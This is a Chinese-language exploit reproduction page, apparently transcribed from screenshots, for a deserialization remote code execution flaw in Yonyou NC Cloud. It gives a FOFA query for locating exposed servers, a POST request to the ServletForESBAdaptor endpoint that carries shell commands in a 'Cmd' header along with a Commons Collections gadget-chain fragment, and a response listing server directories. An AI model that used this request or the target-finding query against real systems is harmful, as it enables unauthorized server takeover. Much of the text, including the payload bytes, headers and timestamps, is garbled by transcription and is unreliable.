## Y8-21用友-NCCloud-反序列化RCE

#### 漏洞描述:

用友 NC及NC Cloud 存在多处反序列化代码执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

#### 网站图片:



Copyright ©2019用友网络科技股份有限公司版权所有

### 网络测绘:

#### fofa语法:

banner="nccloud" || header="nccloud" || header body="logo/images/ufida\_nc.png" || title="Yonyou NC" || body='

" || body="

#### 漏洞复现:

### payload:

效果图: Request

POST /servlet/~uapim/com.ufida.eip.adaptor.servlet.ServletForESBAdaptor HTTP/1.1

Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Cmd: who ami

〈 〉 数据包扫描 热加载 构造请求 35

Accept-Encoding: gzip Content-Length: 20434

Responses 1963bytes / 92ms

HTTP/1.1-200-OK

2023/12/15 - - 22:48 -

# POST-/servlet/-uapim/com.ufida.eip.adaptor.servlet.ServletForESBAdaptor.HTTP/1.1 Host ::User-Agent: Mozilla/5.0 (Macintosh; Intel-Mac·OS·X·10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Cmd: dir Accept-Encoding: gzip Content-Length auto: 20434 $\label{lem:transformer} Transformer; xpg: compose a pache. commons. collections. functors. \\ Chained Transformer 0 \ xc7 \ xp7 \ xec \ x28z \ xp7 \ x84 \ x92 \ x90 \ x91 \ x90 \$

```
| HIP/1.1-200-UK
| Server: Apache-Coyote/1.1
| Set-Cookie: -JSESSIONID-3E8495234080C755DA42751057F6D443.server; Path=/; -HttpOnly
| Date: -Sun, -17 - Dec-2023-09:16:46-GMT
| Content-Length: -J963
         • ♦ ♦ ♦ ♦ ♦ • C • ♦ e I ♦ û ♦ 6 ♦ Ř ♦ ♦
• ♦ ♦ ♦ ♦ ♦ ♦ ♦ ♦ • C Ø 2 E - F B D 8
         C:\yonyou\home •��L%
  2023/12/17 · 13:46 · · · <DIR>
2023/12/15 · 22:48 · · · <DIR>
2023/12/15 · 22:48 · · · <DIR>
2023/12/15 · 22:48 · · · <DIR>
2023/12/16 · 12:32 · · · <DIR>
                                                                                                                                                                                                                                                                                           anteindex
  2023/12/15 - 23:00 - -
                                                                                                                                                                                                                                                                                      -bin
  2023/12/15 - - 22:48 - - -
                                                                                                                                                                 -<DIR>
                                                                                                                                                                                                                                                                                      -driver
                                                                                                                                                                                                                                                                                      driver
external
framewor
hotwebs
ierp
langlib
lib
messages
META-INF
    2015/08/04 - 14:40 - -
2015/08/04 - 14:40 - 2015/12/25 - 08:09 - 2023/12/15 - 23:48 - 2015/12/04 - 16:51 - 2023/12/15 - 22:54 - 2023/12/15 - 22:49 - 2023/12/15 - 22:54 - 2023/12/15 - 22:54 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/15 - 22:64 - 2023/12/1
  2023/12/15 - - 22:48 -
                                                                                                                                                                                                                                                                                           middlewar
    2023/12/15 - 22:54
                                                                                                                                                                                                                                                                                           modules
    2023/12/17 - 12:34 -
                                                                                                                                                                                                                                                                                           nclogs
```

美化. 清給入完位順应

Q 🕝 查看提取结果